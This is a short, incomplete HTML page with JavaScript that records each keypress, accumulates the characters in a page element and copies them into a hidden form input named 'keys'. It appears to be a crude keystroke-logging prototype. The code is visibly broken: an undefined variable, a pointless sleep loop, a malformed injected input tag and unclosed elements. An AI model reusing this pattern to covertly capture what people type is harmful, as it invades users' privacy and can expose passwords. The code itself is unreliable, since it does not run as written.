<!DOCTYPE html>
<html>
<head>
  <script>
    function GetChar(event){
	var x = event.keyCode;
	let y = String.fromCharCode(x)
	z += (y)
	function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

async function demo() {
    for (let lol = 0; lol < 10; lol++) {
        await sleep(lol * 10);
    }
document.getElementById("z").innerHTML += (y);
document.getElementById("bruh").innerHTML = ("<input type='hidden' name='keys' value="+(document.getElementById("z").innerHTML));
}

demo();
}